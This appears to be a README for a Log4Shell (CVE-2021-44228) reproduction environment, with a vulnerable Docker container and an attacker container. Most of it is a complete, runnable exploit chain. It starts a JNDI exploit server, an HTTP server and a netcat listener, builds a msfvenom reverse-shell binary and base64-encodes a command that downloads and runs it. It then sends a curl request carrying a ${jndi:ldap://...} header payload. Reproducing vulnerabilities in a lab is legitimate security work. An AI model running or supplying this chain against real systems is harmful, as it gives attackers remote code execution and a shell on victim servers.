Log4Shell Reproduction Environment

Example Description

Victim machine IP: 47.47.47.47

Attacker machine IP: 48.48.48.48

Running the Vulnerable Docker on the Victim Machine

Use the DockerFile to build the docker image and run:

docker build . -t vuln
docker run -p 8080:8080 --name vuln vuln

Running the Attack Docker on the Attacker Machine

Use the DockerFile to build the docker image and run:

docker build . -t attack
docker run -itd -p 9999:9999 -p 8888:8888 -p 1389:1389 -p 9000:9000 --name attack attack

Attacker Environment Preparation

Execute commands in three different shells; ensure shells remain active

Start the JNDI server on the attacker machine

docker exec -it attack /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 48.48.48.48 -p 8888

Start an HTTP server on the attacker machine

docker exec -it attack /bin/bash
python3 -m http.server 9999

Listen on a port with netcat on the attacker machine

docker exec -it attack /bin/bash
nc -lvvp 9000

Executing the Attack from the Attacker Machine

Execute commands in a single shell

docker exec -it attack /bin/bash

Prepare the reverse shell file on the attacker machine

msfvenom -p linux/x64/shell_reverse_tcp LHOST=48.48.48.48 LPORT=9000 -f elf -o /rev.elf

Prepare the payload on the attacker machine

echo 'wget http://48.48.48.48:9999/rev.elf -O /tmp/rev.elf && chmod +x /tmp/rev.elf && /tmp/rev.elf' | base64
# d2dldCBodHRwOi8vNDguNDguNDguNDg6OTk5OS9yZXYuZWxmIC1PIC90bXAvcmV2LmVsZiAmJiBjaG1vZCAreCAvdG1wL3Jldi5lbGYgJiYgL3RtcC9yZXYuZWxmCg==

Send the attack payload

curl 47.47.47.47:8080 -H 'X-Api-Version: ${jndi:ldap://48.48.48.48:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNDguNDguNDguNDg6OTk5OS9yZXYuZWxmIC1PIC90bXAvcmV2LmVsZiAmJiBjaG1vZCAreCAvdG1wL3Jldi5lbGYgJiYgL3RtcC9yZXYuZWxmCg==}'

Command Generation

python3 command_gen.py vuln_ip attack_ip

Video Demonstration

Video

Log4Shell-CVE-2021-44228-ENV

Most Popular